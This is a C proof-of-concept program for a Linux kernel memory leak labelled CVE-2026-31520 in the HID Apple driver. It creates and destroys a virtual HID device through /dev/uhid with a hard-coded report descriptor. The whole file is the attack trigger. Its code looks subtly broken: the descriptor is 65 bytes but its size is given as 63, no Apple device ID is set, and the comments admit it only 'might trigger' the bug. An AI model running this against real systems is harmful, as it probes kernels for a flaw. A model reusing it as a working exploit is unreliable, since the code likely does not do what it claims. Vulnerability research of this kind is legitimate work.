/*
* PoC for CVE-2026-31520: Memory Leak in HID apple driver
* This code simulates a HID device to trigger the vulnerable function.
*/
#include <linux/uhid.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/dev/uhid", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
struct uhid_event ev;
memset(&ev, 0, sizeof(ev));
ev.type = UHID_CREATE;
// Setup a dummy Apple HID device descriptor
strcpy((char*)ev.u.create.name, "PoC Apple Device");
ev.u.create.rd_size = 63;
// Example Report Descriptor that might trigger the fixup
unsigned char rdesc[] = {0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x05, 0x07, 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x03, 0x95, 0x05, 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x03, 0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x26, 0xff, 0x00, 0x05, 0x07, 0x19, 0x00, 0x2a, 0xff, 0x00, 0x81, 0x00, 0xc0};
memcpy(ev.u.create.rd_data, rdesc, sizeof(rdesc));
if (write(fd, &ev, sizeof(ev)) < 0) {
perror("write create");
close(fd);
return -1;
}
printf("HID device created. Triggering leak path...\n");
sleep(1);
// Cleanup
memset(&ev, 0, sizeof(ev));
ev.type = UHID_DESTROY;
write(fd, &ev, sizeof(ev));
close(fd);
return 0;
}